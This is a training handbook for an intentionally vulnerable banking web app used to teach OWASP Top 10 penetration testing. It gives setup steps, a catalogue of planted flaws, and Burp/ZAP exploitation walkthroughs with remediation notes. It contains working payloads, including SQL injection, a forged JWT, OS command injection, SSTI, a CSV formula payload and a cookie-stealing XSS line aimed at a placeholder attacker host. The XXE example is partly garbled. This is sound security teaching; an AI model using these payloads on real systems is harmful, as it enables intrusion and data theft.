

MERIDIAN TRUST

Web Security Training Handbook

OWASP Top 10 Penetration-Testing Lab

Complete edition: Setup · Catalogue · Exploitation · Lab Manual

Security-training build · internal codename "VulnBank"

**⚠ INTENTIONALLY VULNERABLE — TEACHING USE ONLY — DO NOT
DEPLOY ⚠**

Instructor edition · Burp Suite / OWASP ZAP steps · ~78 verified findings
Confidential training material

Contents

Part

1 Setup & Safety

Part

2 Implementation Plan & Vulnerability Catalogue

Part

3 Findings & Exploitation Writeup

Part

4 Instructor Lab Manual & Student Checklist

PART 1

Setup & Safety

⚠ **INTENTIONALLY VULNERABLE.** Never deploy to a public network, shared host, or the internet. Run only on an isolated lab machine / VM bound to localhost.

Run with Docker (recommended)

```
cd DefendShield-VulnBank
docker compose up --build
# App: http://127.0.0.1:3000 (bound to 127.0.0.1 only)
```

Docker gotcha on Kali/Linux (`docker-credential-desktop` error)

If `docker compose build` fails with `error getting credentials ... docker-credential-desktop ... not found`, your `~/.docker/config.json` references the Docker Desktop credential helper. Fix by removing the `credsStore` line:

```
# edit ~/.docker/config.json and delete the line: "credsStore": "desktop",
# (or, quick one-liner:)
sed -i '/"credsStore": "desktop"/d' ~/.docker/config.json
docker compose up --build
```

Run with Node directly

```
cd DefendShield-VulnBank
npm install
npm start # http://127.0.0.1:3000
PORT=3001 npm start # use another port if 3000 is busy
```

Verify the lab (API test harness)

An automated harness exercises each planted vulnerability over HTTP and reports PASS/FAIL — useful for regression testing after changes and as API-testing examples for students.

```
npm test # tests http://127.0.0.1:3001 by default
BASE=http://127.0.0.1:3000 npm test # target a different port
```

Run `npm run reseed` and restart first for a clean, repeatable run (some tests mutate data & pollute the process). A clean run reports `101/101 automated passed, 0 failed, 14 manual/skipped`. The 14 skips are client-side (DOM XSS, tabnabbing, postMessage, DOM clobbering, localStorage), browser-CSRF, or DoS/timing checks (ReDoS, race condition, unbounded body, time-based SQLi) that must be verified by hand — the harness lists each with a reason.

Reset the lab between students

```
npm run reseed # wipes db/vulnbank.sqlite and re-seeds fake data
```

Seed accounts

Username	Password	Role
admin	admin	admin
support	support123	support
alice	password1	user
bob	hunter2	user
carol	letmein	user

Proxy tooling

Configure Burp Suite or OWASP ZAP as an HTTP proxy on `127.0.0.1:8080` and point your browser at it. Full step-by-step exploitation is in [FINDINGS.md](#). Recommended Burp extensions: **JWT Editor**, **Turbo Intruder**, **Logger++**.

Safety rails built in

- Binds to `127.0.0.1` in `docker-compose.yml`.
- Loud red "VULNERABLE" banner on every page.
- Only fake, seeded data — no real PII.
- `reseed` script for a clean, repeatable classroom state.

PART 2

Implementation Plan & Vulnerability Catalogue

INTENTIONALLY VULNERABLE TRAINING APPLICATION — DO NOT DEPLOY TO ANY PUBLIC/PRODUCTION NETWORK. Educational lab for teaching web penetration testing against the full OWASP Top 10 (2021), the OWASP API Security Top 10, and the broader universe of common web-app vulnerabilities. Binds to `127.0.0.1` only. Fake seeded data only.

Stack: Node.js + Express + SQLite (`better-sqlite3`), EJS server-side views, JWT for the API layer, optional GraphQL + WebSocket modules. **Run:** Docker Compose (`127.0.0.1:3000`). **Mode:** Vulnerable-only. Every flaw is intentional and recorded in `docs/FINDINGS.md`.

How to read this plan

- Each vulnerability has a **Finding ID** (`VB-###`) used in `FINDINGS.md` and the lab worksheet.
- Each is mapped to an **OWASP category** and the concrete **feature/endpoint** that hosts it.
- Phases order the build: legitimate app first, then vulns injected in themed batches.
- **200+ findings total.** Some advanced items are marked (*optional/advanced — needs extra infra*).

Phase 0 — Scaffolding & Infrastructure

- Repo: `/src`, `/db`, `/docs`, `/uploads`, `Dockerfile`, `docker-compose.yml`.
- Express, `better-sqlite3`, `express-session`, EJS, `multer`, `jsonwebtoken`, optional `ws` + `express-graphql`.
- Seed: customers, `admin/admin`, `support`, accounts, transactions, treasury account, fake PAN/SSN.
- Safety: localhost bind, "VULNERABLE" banner, isolated Docker network, reseed script.

Phase 1 — Legitimate Banking Core (no planted bugs)

Auth, dashboard, accounts/balances, transfers, transaction history/search, profile, avatar upload + avatar-by-URL, support messaging, admin panel, REST/JSON API + JWT, GraphQL endpoint, WebSocket notifications, statement export/import, PDF generator, webhook tester, password reset, notifications.

COMPLETE VULNERABILITY CATALOGUE

Phase 2 — A01: Broken Access Control

- **VB-001** IDOR — read any account `/account/:id`.
- **VB-002** IDOR — read/replay any transaction `/transaction/:id`.
- **VB-003** IDOR — edit any profile `/profile/:id`.
- **VB-004** IDOR — download any user's statement `/statement/:id`.
- **VB-005** Missing function-level authz — `/admin/*` open to normal users.
- **VB-006** Forced browsing — hidden `/admin`, `/debug`, `/backup`, `/internal`.
- **VB-007** Vertical priv-esc — `role` settable via profile update (mass assignment).

- **VB-008** Horizontal priv-esc — transfer *from* an account you don't own.
- **VB-009** Path traversal / LFI — `/download?file=../../etc/passwd`.
- **VB-010** Directory traversal on upload retrieval `/uploads/..%2f`.
- **VB-011** Unprotected API listing — `GET /api/users` returns all users.
- **VB-012** CORS misconfig — `ACA0: *` **with** credentials.
- **VB-013** CORS reflected-origin — echoes any `Origin` back.
- **VB-014** JWT `alg:none` accepted → forge admin.
- **VB-015** HTTP method bypass — `POST` -only guard bypassed with `PUT /X-HTTP-Method-Override`.
- **VB-016** Referer/ `X-Forwarded-For` -based access control bypass.
- **VB-017** Multi-step process step-skipping (go straight to confirm-transfer).
- **VB-018** Insecure direct object reference in GraphQL node lookup.
- **VB-019** Cookie-based role trust — `isAdmin=false` client cookie.
- **VB-020** Static secret "god mode" query param `?debug=1&admin=1`.

Phase 3 — A03: Injection

SQL Injection

- **VB-021** Login bypass (`' OR '1'='1' --`).
- **VB-022** UNION-based extraction in transaction search.
- **VB-023** Boolean-blind SQLi in account lookup.
- **VB-024** Time-based blind SQLi (`... AND 1=randomblob(100000000)`).
- **VB-025** Second-order SQLi — stored username reused in a query.
- **VB-026** SQLi via HTTP header (`User-Agent / X-Forwarded-For` logged into DB).
- **VB-027** SQLi via cookie value.
- **VB-028** ORDER BY / column-name SQLi (non-parameterizable context).
- **VB-029** Stacked-query SQLi (INSERT/UPDATE injection).

Cross-Site Scripting

- **VB-030** Stored XSS — transfer memo / support message.
- **VB-031** Reflected XSS — search box.
- **VB-032** DOM XSS — `location.hash` sink.
- **VB-033** Stored XSS via uploaded SVG/HTML file.
- **VB-034** XSS in error/404 page (reflected path).
- **VB-035** XSS via HTTP header reflected in page (`Referer`).
- **VB-036** Blind XSS — admin-only view renders customer input unescaped.
- **VB-037** Mutation XSS (mXSS) via innerHTML sanitizer bypass.
- **VB-038** XSS in JSON response served with `text/html`.
- **VB-039** Markdown XSS — `marked` with raw HTML enabled.

Other injection

- **VB-040** OS command injection — admin "ping host" tool.
- **VB-041** Blind/time-based command injection.
- **VB-042** Argument injection into a CLI tool (`--` option smuggling).
- **VB-043** SSTI — display-name rendered through template engine.
- **VB-044** NoSQL/object injection — `{"$ne":null}` login handling.
- **VB-045** CRLF / HTTP response-header injection.
- **VB-046** Log injection / forged log entries.
- **VB-047** XPath injection (XML-backed lookup).
- **VB-048** LDAP injection (directory search demo).

- **VB-049** Server-Side Includes (SSI) injection.
- **VB-050** Email/SMTP header injection in "contact us".
- **VB-051** GraphQL injection via unsanitized filter argument.
- **VB-052** Prototype-pollution-based injection via query parser.
- **VB-053** ReDoS via user-supplied regex / catastrophic backtracking.
- **VB-054** Formula/CSV injection into stored fields (fires on export).

Phase 4 — A02: Cryptographic Failures

- **VB-055** Plaintext password storage.
- **VB-056** Unsalted MD5/SHA1 password hashes.
- **VB-057** Fast unsalted hash + provided rainbow-table exercise.
- **VB-058** PAN/card + SSN returned in API/JSON (sensitive data exposure).
- **VB-059** Weak/hardcoded JWT secret (crackable with `hashcat`).
- **VB-060** JWT `kid` SQL/path injection.
- **VB-061** JWT `jku` / `x5u` header points to attacker key.
- **VB-062** JWT algorithm confusion (RS256 → HS256 with public key).
- **VB-063** Cookies missing `Secure` / `HttpOnly` / `SameSite`.
- **VB-064** Sensitive data & tokens in URL query string.
- **VB-065** Predictable/sequential password-reset token.
- **VB-066** Weak randomness — `Math.random()` for tokens/OTP.
- **VB-067** Hardcoded secrets/keys in source; committed `.env`.
- **VB-068** AES-ECB mode — pattern leakage in encrypted cookie.
- **VB-069** Static/zero IV reuse in CBC.
- **VB-070** Padding-oracle-style decryption error differences.
- **VB-071** Hash length-extension on a naive `secret||data` MAC.
- **VB-072** Reversible "encryption" (Base64/XOR) treated as secure.
- **VB-073** Cleartext transport (no TLS) for the whole app.
- **VB-074** Sensitive data cached (missing `Cache-Control: no-store`).

Phase 5 — A04: Insecure Design (Business Logic)

- **VB-075** Negative-amount transfer → steal funds.
- **VB-076** Integer overflow/underflow to inflate balance.
- **VB-077** Race condition (TOCTOU) on transfer → double-spend.
- **VB-078** Race condition on coupon/promo redemption.
- **VB-079** No transaction/amount limits.
- **VB-080** Currency rounding abuse (fractional-cent skimming).
- **VB-081** Password reset without identity verification.
- **VB-082** Promo/loan approval applied repeatedly.
- **VB-083** Insufficient anti-automation on money movement (no CAPTCHA/limit).
- **VB-084** Workflow bypass — skip OTP/confirmation step.
- **VB-085** Trusting client-side price/balance value in request body.
- **VB-086** Unlimited-attempt gift-card/voucher validation (enumeration).

Phase 6 — A07: Identification & Authentication Failures

- **VB-087** No account lockout / no rate limit (brute force).
- **VB-088** Credential stuffing (no protection, no MFA).
- **VB-089** Password spraying viable (weak lockout).
- **VB-090** Weak password policy (allows `123`).

- **VB-091** Username enumeration via differing error messages.
- **VB-092** Username enumeration via response timing.
- **VB-093** Session fixation — ID not rotated on login.
- **VB-094** Predictable session identifiers.
- **VB-095** Predictable "remember-me" token.
- **VB-096** Session never expires; logout doesn't invalidate server-side.
- **VB-097** Concurrent sessions unlimited; no re-auth for sensitive ops.
- **VB-098** OTP/MFA validated client-side (bypassable).
- **VB-099** OTP brute-forceable (no attempt limit, short code).
- **VB-100** OTP reuse / not invalidated after use.
- **VB-101** Auth via trusting `X-User-Id` / `X-Role` header.
- **VB-102** OAuth `state` missing → login CSRF.
- **VB-103** OAuth `redirect_uri` not validated → token theft.
- **VB-104** Password change without current-password check.

Phase 7 — A05: Security Misconfiguration

- **VB-105** Verbose stack traces to the browser.
- **VB-106** Debug mode / `/debug` exposes env & config.
- **VB-107** Default credentials `admin/admin`.
- **VB-108** Directory listing on `/uploads` , `/backup` .
- **VB-109** Missing security headers (CSP/HSTS/X-Frame/X-Content-Type).
- **VB-110** Clickjacking — no frame protection on transfer page.
- **VB-111** Exposed `.git/` , `backup.zip` , `db.sqlite` .
- **VB-112** Dangerous HTTP methods enabled (TRACE/PUT/DELETE).
- **VB-113** Verbose `Server` / `X-Powered-By` version banners.
- **VB-114** Overly permissive file upload → web shell (RCE).
- **VB-115** Unrestricted upload path → overwrite app files.
- **VB-116** Admin interface exposed on same origin without extra control.
- **VB-117** Sample/test endpoints left enabled (`/test` , `/phpinfo` -style).
- **VB-118** Permissive CSP (`unsafe-inline` , `*`).
- **VB-119** Misconfigured `Access-Control-Allow-Headers` / `-Methods` .
- **VB-120** Secrets in client-side JS / source maps shipped to prod.

Phase 8 — A06: Vulnerable & Outdated Components

- **VB-121** Pinned known-CVE `jsonwebtoken` (documented CVE).
- **VB-122** Pinned known-CVE `lodash` (prototype pollution CVE).
- **VB-123** Pinned known-CVE `marked` (XSS/ReDoS CVE).
- **VB-124** Prototype pollution via unsafe recursive merge.
- **VB-125** Vulnerable client lib from CDN without SRI.
- **VB-126** `/version` endpoint discloses component versions.
- **VB-127** Outdated Express/middleware with known advisory.
- **VB-128** Vulnerable image/XML parser (ties to XXE/ImageTragick).
- **VB-129** Dependency confusion note — internal package name public (*advisory/optional*).

Phase 9 — A08: Software & Data Integrity Failures

- **VB-130** Insecure deserialization (serialized object in cookie/import → RCE).
- **VB-131** `node-serialize` /eval-style deserialization gadget.
- **VB-132** Unsigned "import transactions" JSON trusted blindly.

- **VB-133** Third-party script without Subresource Integrity.
- **VB-134** Auto-update/plugin from unauthenticated source.
- **VB-135** CSV/formula injection in exported statements.
- **VB-136** Unverified webhook signatures (spoofable callbacks).
- **VB-137** Client-side integrity trust — signature check done in JS.

Phase 10 — A10: Server-Side Request Forgery (SSRF)

- **VB-138** SSRF — avatar-by-URL fetches arbitrary URL.
- **VB-139** SSRF to cloud metadata `169.254.169.254`.
- **VB-140** SSRF — webhook tester posts to internal URL.
- **VB-141** Blind SSRF via PDF/statement generator.
- **VB-142** SSRF filter bypass (`localhost` , `0.0.0.0` , decimal/hex IP).
- **VB-143** SSRF via redirect (open redirect chained to internal).
- **VB-144** SSRF via DNS rebinding (*advanced/optional*).
- **VB-145** SSRF to non-HTTP scheme (`file://` , `gopher://`) (*advanced*).

Phase 11 — A09: Security Logging & Monitoring Failures

- **VB-146** No logging of auth events.
- **VB-147** No logging of transfers/admin actions.
- **VB-148** No alerting during brute force / fund theft.
- **VB-149** Logs leak secrets (passwords/tokens).
- **VB-150** World-readable logs; no access control.
- **VB-151** No tamper protection (pairs with log injection VB-046).
- **VB-152** No audit trail for privilege changes.

Phase 12 — Client-Side & Cross-Cutting Web Vulns

- **VB-153** CSRF — state-changing transfer, no anti-CSRF token.
- **VB-154** CSRF via `GET` money movement.
- **VB-155** JSON CSRF (no content-type enforcement).
- **VB-156** Open redirect — `/redirect?url=`.
- **VB-157** Reverse tabnabbing (`target=_blank` no `noopener`).
- **VB-158** Host header injection — reset links from `Host` .
- **VB-159** Web cache poisoning via unkeyed header.
- **VB-160** Web cache deception (`/account/profile.css`).
- **VB-161** XXE — XML import with external entities.
- **VB-162** Blind XXE / OOB data exfiltration.
- **VB-163** XXE billion-laugh DoS.
- **VB-164** SVG/HTML upload stored XSS (content sniffing).
- **VB-165** Content-type sniffing (`X-Content-Type-Options` missing).
- **VB-166** `postMessage` origin not validated (client-side).
- **VB-167** DOM clobbering.
- **VB-168** CSP bypass via JSONP/allowed CDN.
- **VB-169** Secrets stored in `localStorage` / `sessionStorage` .
- **VB-170** Sensitive data in browser cache/history (GET params).
- **VB-171** Insecure `window.name` data passing.
- **VB-172** HTTP Parameter Pollution (`?amount=1&amount=1000000`).
- **VB-173** Cross-Site WebSocket Hijacking (no origin check on `ws`).
- **VB-174** WebSocket message injection / missing authz.

- **VB-175** GraphQL introspection enabled (schema leak).
- **VB-176** GraphQL batching/aliasing brute force (bypass rate limit).
- **VB-177** GraphQL deeply-nested query DoS.
- **VB-178** GraphQL field-level authz missing (BFLA).

Phase 13 — API Security (OWASP API Top 10 alignment)

- **VB-179** BOLA/IDOR at object level `/api/accounts/:id` (API1).
- **VB-180** Broken authentication on API tokens (API2).
- **VB-181** Broken object-property-level authz — mass assignment (API3).
- **VB-182** Excessive data exposure — API returns full object incl. secrets (API3).
- **VB-183** Unrestricted resource consumption — no rate limit/pagination (API4).
- **VB-184** Broken function-level authz — admin API callable by users (API5).
- **VB-185** Unrestricted access to sensitive business flow — bulk transfer (API6).
- **VB-186** SSRF via API URL parameter (API7, ties to Phase 10).
- **VB-187** Security misconfiguration on API (verbose errors, no headers) (API8).
- **VB-188** Improper inventory — old `/api/v1` unpatched alongside `/api/v2` (API9).
- **VB-189** Unsafe consumption of 3rd-party API data (API10).

Phase 14 — Denial of Service & Resource Abuse

- **VB-190** ReDoS on login/search regex (ties to VB-053).
- **VB-191** Zip bomb / decompression bomb on import.
- **VB-192** Unbounded file upload size → disk exhaustion.
- **VB-193** Unbounded JSON body / array → memory exhaustion.
- **VB-194** Expensive query without pagination → CPU/DB exhaustion.
- **VB-195** Account-lockout abuse as DoS (lock victims out).

Phase 15 — File Handling & Upload Attacks

- **VB-196** Zip Slip — path traversal on archive extraction.
- **VB-197** Image parsing exploit surface (ImageTragick-style) (*advanced*).
- **VB-198** EXIF/metadata leak in uploaded images.
- **VB-199** Polyglot file (valid image + script) upload.
- **VB-200** Double-extension / null-byte upload bypass (`shell.php%00.jpg`).
- **VB-201** MIME-type spoof upload bypass.
- **VB-202** Arbitrary file read via filename in download endpoint (ties to VB-009).

Phase 16 — Teaching Materials & Wrap-up

- Complete `docs/FINDINGS.md` — every VB-### with OWASP mapping, location (`file:line`), payload, step-by-step exploit, expected result, and remediation note.
- `docs/LAB-MANUAL.md` — per-category walkthroughs + blank student checklist/worksheet.
- `docs/SETUP.md` — run + safety instructions; `reseed` script for clean restarts.
- Smoke tests confirming each planted vuln fires.

OWASP Top 10 (2021) → Finding coverage matrix

OWASP	Findings
A01 Broken Access Control	VB-001...020, 153...155, 172, 179, 184
A02 Cryptographic Failures	VB-055...074
A03 Injection	VB-021...054, 161...163, 175...178
A04 Insecure Design	VB-075...086
A05 Security Misconfiguration	VB-105...120, 187
A06 Vulnerable & Outdated Components	VB-121...129
A07 Auth Failures	VB-087...104, 180
A08 Integrity Failures	VB-130...137
A09 Logging & Monitoring Failures	VB-146...152
A10 SSRF	VB-138...145, 186

Total: 200+ intentional, documented findings covering every OWASP Top 10 (2021) category, the OWASP API Security Top 10, plus CSRF, SSTI, XXE, open redirect, clickjacking, path traversal/LFI, file-upload RCE, prototype pollution, host-header injection, CRLF, CSV/formula injection, insecure deserialization, CORS abuse, full JWT attack suite, ReDoS/DoS, WebSocket & GraphQL flaws, and file-upload attack chains.

PART 3

Findings & Exploitation Writeup

Security-training lab (internal codename "VulnBank"). Teaching walkthrough for the Meridian Trust online-banking application. Every finding below is **implemented and verified firing** in this codebase. Each entry gives: **location, proxy-tool (Burp Suite / OWASP ZAP) steps, payload, expected result, and remediation.**

Lab base URL: `http://127.0.0.1:3000` (or `PORT=3001` if 3000 is taken). **Seed creds:** `admin/admin`, `alice/password1`, `bob/hunter2`, `carol/letmein`.

0. Proxy setup (do this once)

Burp Suite (Community/Pro) 1. Proxy → Options → Proxy Listeners: confirm `127.0.0.1:8080` is running. 2. Browser: set HTTP/HTTPS proxy to `127.0.0.1:8080` (use FoxyProxy or Burp's built-in browser: Proxy → Open Browser). 3. Proxy → Intercept → **Intercept is on** to catch/modify requests; use **HTTP history** to review, and **Send to Repeater** (Ctrl+R) to replay/tamper. 4. Since the app is plain HTTP on localhost, no CA cert import is needed.

OWASP ZAP 1. Tools → Options → Local Proxies: `127.0.0.1:8080`. 2. Point the browser at it; browse the app to populate the **Sites** tree. 3. Right-click a request → **Open/Resend with Request Editor** to tamper, or **Attack** → **Fuzz** for automated payloads.

General workflow for every finding: browse the feature normally with intercept off to record a baseline request in HTTP history → **Send to Repeater** → modify the parameter → **Send** → observe the response.

A01 — Broken Access Control

VB-001 IDOR — read any account

- **Location:** `GET /account/:id` — `src/routes/accounts.js`
- **Proxy steps:** Log in as `bob`. Browse to your own account (note the id). Send `GET /account/1` to **Repeater**, change the id to `1` (admin treasury). Send.
- **Payload:** `GET /account/1`
- **Result:** Returns balance `$9999999` of an account you don't own.
- **Fix:** Verify `account.user_id === session.userId` before returning.

VB-002 IDOR — any transaction

- **Location:** `GET /transaction/:id`
- **Steps:** In Repeater iterate `/transaction/1`, `/2`, `/3` (Burp Intruder → Sniper on the id for bulk enumeration).
- **Fix:** Ownership check + object-scoped queries.

VB-003 / VB-007 Mass assignment → privilege escalation

- **Location:** `POST /profile/:id` — `src/routes/profile.js`
- **Steps:** Log in as `alice`. Intercept the profile save. Add a parameter `role=admin` to the body (Repeater or Intercept). Forward. Confirm via `GET /api/v1/users` that `alice` now has `role:admin`.
- **Payload (form):** `email=a@a.com&full_name=Alice&role=admin`

- **Result:** Vertical privilege escalation. Verified: alice→admin.
- **Fix:** Whitelist updatable fields; never bind `role` from user input.

VB-005 Broken function-level authorization — admin panel

- **Location:** `GET /admin` — `src/routes/admin.js` (no role check)
- **Steps:** As a normal user (or with **no** session) request `GET /admin` in Repeater.
- **Result:** Full admin panel + all users' PAN/SSN.
- **Fix:** `requireRole('admin')` middleware on every `/admin/*` route.

VB-006 Forced browsing

- **Location:** `/admin`, `/debug`, `/backup`, `/api/v1/*`; disclosed by `GET /robots.txt`.
- **Steps:** Read `/robots.txt`; feed the `Disallow` paths into Burp **Intruder** / ZAP **Forced Browse**.

VB-008 / VB-075 Horizontal esc + negative-amount transfer (business logic)

- **Location:** `POST /transfer` — `src/routes/accounts.js`
- **Steps:** Intercept a transfer. Set `fromAcct` to an account you don't own, or set `amount` to a negative number to reverse the money flow.
- **Payload:** `fromAcct=2&toAcct=4&amount=-500&memo=x`
- **Result:** `-500` "transfer" moves \$500 from the *destination* into the source. Verified.
- **Fix:** Enforce `amount > 0`, ownership of `fromAcct`, balance limits, and DB-level atomic transactions.

VB-009 / VB-202 Path traversal / LFI

- **Location:** `GET /download?file=` — `src/routes/files.js`
- **Steps:** Repeater: `GET /download?file=../.env` then `../../etc/passwd`. URL-encode `../` as `%2e%2e%2f` if a filter is present.
- **Result:** Reads `.env` (leaks `JWT_SECRET=secret123`) and system files. Verified.
- **Fix:** `path.normalize` + confine to a base dir; reject `...`.

VB-012 / VB-013 CORS misconfiguration

- **Location:** global middleware — `src/server.js`
- **Steps:** In Repeater add header `Origin: https://evil.example`. Observe response reflects `Access-Control-Allow-Origin: https://evil.example` **and** `Access-Control-Allow-Credentials: true`.
- **Result:** Any origin can read authenticated responses.
- **Fix:** Allow-list origins; never combine `ACA0: *` /reflected origin with credentials.

A02 — Cryptographic Failures

VB-055 Plaintext passwords + VB-058 sensitive data exposure

- **Location:** `src/db.js`, exposed via `GET /api/v1/users` and `/admin`.
- **Steps:** Repeater: `GET /api/v1/users` (no auth).
- **Result:** JSON with cleartext `password`, `ssn`, `card_number` for every user. Verified.
- **Fix:** `bcrypt` / `argon2` hashing; never return secret fields; field-level authz.

VB-059 Weak JWT secret

- **Location:** `POST /api/login`, secret `secret123` — `src/routes/api.js`
- **Steps:** `POST /api/login {username,password}` → capture the JWT. In Burp, send to **Decoder** or use the **JWT Editor** extension. Crack offline: `hashcat -m 16500 token.txt rockyou.txt` (recovers `secret123`). Re-sign a token with `role:admin`.
- **Fix:** 256-bit random secret from a secrets manager; short expiry.

VB-014 JWT `alg:none` bypass

- **Location:** `auth()` in `src/routes/api.js`
- **Steps:** With **JWT Editor**, take any token, set header `{"alg":"none"}`, set payload `{"sub":1,"role":"admin"}`, remove the signature (leave trailing dot). Send to `GET /api/users`.
- **Payload:** `Authorization: Bearer eyJhbGciOiJIub251IiwidHlwIjoiSldUIIn0.eyJzdWIiOiJEsInJvbGUiOiJhZG1pbjJ9.`
- **Result:** Full user dump incl. secrets. Verified.
- **Fix:** Pin `algorithms:['HS256']` in `jwt.verify`; reject `none`.

VB-063 Insecure session cookie

- **Location:** `express-session` config — `src/server.js`
- **Steps:** In Burp HTTP history inspect `Set-Cookie` for `connect.sid`: no `HttpOnly`, `Secure`, or `SameSite`. Combined with any XSS (A03) the cookie is stealable via JS.
- **Fix:** `cookie:{httpOnly:true, secure:true, sameSite:'strict'}`.

VB-065 Predictable reset token + VB-158 host-header injection

- **Location:** `POST /reset` — `src/routes/auth.js`
- **Steps:** Request a reset for `admin`. The token is `base64("<id>:<username>")` — fully forgeable in Burp **Decoder**. Also resend `POST /reset` with header `Host: evil.example`; the emitted reset link uses your Host → phishing/poisoning.
- **Fix:** Cryptographically random, single-use, expiring tokens; build links from a fixed configured origin.

A03 — Injection

VB-021 SQL injection — login bypass

- **Location:** `POST /login` (string-concatenated SQL) — `src/routes/auth.js`
- **Steps:** Intercept the login POST → Repeater. Set `username=admin' --` and any password.
- **Payload:** `username=admin' --&password=x`
- **Result:** Authenticated as admin without the password. Verified. SQL errors are also reflected (VB-105).
- **Fix:** Parameterized queries (`db.prepare('... WHERE username=? AND password=?')`).

VB-022 UNION SQLi — data extraction

- **Location:** `GET /search?q=` — `src/routes/accounts.js`
- **Steps:** Repeater. First break out: `q=' --`. Determine column count with `ORDER BY n`. Then UNION the users table.
- **Payload:** `q=' UNION SELECT id,username,password,email,role,ssn,card_number FROM users --`

- **Fix:** Parameterized queries; least-privilege DB user.

VB-030 Stored XSS + VB-031 Reflected XSS

- **Location:** transfer `memo` / support `body` (stored), `/search?q=` (reflected).
- **Steps:** Post a transfer/support message with an XSS payload; view `/account/:id`, `/support`, or `/message/:id`. For reflected, put the payload in `q`.
- **Payload:** `<script>fetch('http://ATTACKER/c?'+document.cookie)</script>` (cookie is `HttpOnly-less`, VB-063).
- **Result:** Script executes in victim/admin browser (blind XSS VB-036 fires in the admin `/support` view). Verified rendering unescaped.
- **Fix:** Output-encode (`<%= %>` not `<%- %>`), CSP, HTML sanitizer.

VB-040 OS command injection

- **Location:** `POST /admin/ping` (`execSync('ping -c 1 '+host)`) — `src/routes/admin.js`
- **Steps:** Repeater: `host=127.0.0.1; id`. Blind variant: `host=127.0.0.1; sleep 5` and watch timing.
- **Result:** Returns `uid=... gid=...` — full command execution. Verified.
- **Fix:** Avoid the shell; use `execFile('ping', ['-c', '1', host])` with strict input validation.

VB-043 Server-Side Template Injection (SSTI)

- **Location:** `display_name` rendered via `ejs.render` — `/greet`, `src/routes/profile.js`
- **Steps:** Set profile `display_name` to `<%= 7*7 %>` then GET `/greet`. Escalate to `<%= process.env.JWT_SECRET %>` or RCE via `global.process`.
- **Result:** Renders `49` → confirmed template evaluation. Verified.
- **Fix:** Never render user input as a template; treat as data.

VB-161 XXE — external entity file read

- **Location:** `POST /import/xml` — `src/routes/misc.js`
- **Steps:** Repeater. Set `Content-Type: application/xml`, body: ```xml`

`]> `` - **Result:** Server returns the file contents inside (verified with /etc/hostname`).` -

Fix: Disable DTD/external entity processing in the XML parser.

VB-045 CRLF / header injection (runtime-mitigated — teaching note)

- **Location:** `GET /setlang?lang=` — `src/routes/misc.js`
- **Steps:** `lang=en%0d%0aX-Injected:pwned`.
- **Note:** Node's HTTP core rejects CR/LF in header values (`ERR_INVALID_CHAR`), so header-splitting is blocked at runtime — a good example of a *platform* defense. The value still reflects into the body (reflected-XSS surface). Demonstrate both the attempt and why it fails.

A04 — Insecure Design (Business Logic)

Covered above: **VB-075** negative-amount transfer, **VB-008** foreign source account. Additional: - **VB-077 Race condition / double-spend** — `POST /transfer` reads then writes with no atomic guard. - **Steps:** Burp **Turbo Intruder** / Repeater "Send group in parallel" — fire 20 identical transfers simultaneously to overdraw. ZAP: threaded fuzz. - **Fix:** Single atomic `UPDATE ... WHERE balance >= amount` in a DB transaction. - **VB-081 Reset without identity verification** — see VB-065.

A05 — Security Misconfiguration

- **VB-105 Verbose stack traces** — trigger any error (e.g. malformed SQLi) → full stack in response. Verified.
 - **VB-106 Debug endpoint** — `GET /debug` dumps `process.env` incl. all secrets. Verified.
 - **VB-107 Default creds** — `admin/admin`.
 - **VB-108/111 Directory listing & backups** — `GET /backup`, `GET /uploads` list contents; `/download?file=../.env` reads secrets.
 - **VB-109 Missing security headers** — Burp HTTP history: no `Content-Security-Policy`, `Strict-Transport-Security`, `X-Frame-Options`, `X-Content-Type-Options`. **VB-110 Clickjacking:** the transfer page frames cleanly (build a PoC iframe).
 - **VB-113 Version banner** — `X-Powered-By: MeridianTrust/1.0 Express`; `GET /version` lists dependency versions.
 - **VB-114 Unrestricted upload** — `POST /upload` keeps the original filename and any type; upload `poc.svg` / `poc.html` containing script → served from `/uploads/poc.svg` with stored XSS (VB-164).
 - **Steps:** In Burp intercept the multipart upload; set filename to `x.svg`, body to an SVG with `<script>`. Then browse `/uploads/x.svg`.
 - **Fix:** allow-list extensions/MIME, randomize names, store outside webroot, `Content-Disposition: attachment`.
-

A06 — Vulnerable & Outdated Components

- **Location:** `package.json` pins `jsonwebtoken@8.5.1`, `lodash@4.17.11`, `marked@0.3.6`.
 - **Steps:** `GET /version` to fingerprint → cross-reference with `npm audit`, Snyk, or OSV.
 - `jsonwebtoken@8.5.1` → algorithm-confusion advisories (CVE-2022-23540/23541) — ties to VB-014/062.
 - `lodash@4.17.11` → prototype-pollution advisory (CVE-2019-10744).
 - `marked@0.3.6` → ReDoS / XSS.
 - **VB-124 Prototype pollution** — `POST /profile/:id` with JSON `{"__proto__": {"polluted":"x"}}` pollutes `Object.prototype` (verified via unsafe recursive merge).
 - **Fix:** upgrade, `npm audit fix`, lockfile + SCA in CI.
-

A07 — Identification & Authentication Failures

- **VB-087 No lockout / brute force** — `POST /login`. Burp **Intruder** (Sniper on `password`) or **Cluster bomb** for credential stuffing; no throttling. ZAP fuzz with a wordlist.
- **VB-091 Username enumeration** — login returns `No such user` vs `Wrong password`; `/reset` returns `No such user`. Enumerate valid users.

- **VB-093 Session fixation** — session id is not regenerated on login; set a known `connect.sid` pre-auth, then log the victim in.
 - **VB-101 Header-trust auth** — add header `X-User-Id: 1` to any request to act as admin (verified in middleware).
 - **Fix:** server-side auth only; never trust identity headers.
 - **Fix (general):** rate limiting + lockout, generic error messages, session rotation, MFA.
-

A08 — Software & Data Integrity Failures

- **VB-132 Unsigned import** — `POST /import/xml` (and JSON import) trust attacker-supplied data with no signature.
 - **VB-133 Missing SRI** — client scripts loaded without `integrity=`.
 - **VB-135 CSV/formula injection** — store a memo like `=cmd|'/C calc'!A1`; it lands unescaped in exported statements.
 - **Fix:** sign+verify imports, SRI hashes, prefix-sanitize CSV cells.
-

A09 — Security Logging & Monitoring Failures

- **VB-146/147** No auth/transfer/admin logging exists — run all attacks above and note nothing is recorded or alerted.
 - **VB-149** When logging is added naively it echoes secrets; **VB-046** unsanitized input allows forged log lines.
 - **Teaching:** contrast with a proper audit trail; show that the earlier brute force (VB-087) is invisible to defenders.
-

A10 — Server-Side Request Forgery (SSRF)

- **VB-138/139 Avatar-by-URL** — `GET /avatar/fetch?url=` fetches any URL server-side.
 - **Steps:** Repeater: `url=http://127.0.0.1:3000/debug` (reads internal-only debug/env), then `url=http://169.254.169.254/latest/meta-data/` (cloud metadata).
 - **Result:** Internal responses reflected back. Verified against internal `/version` & `/debug`.
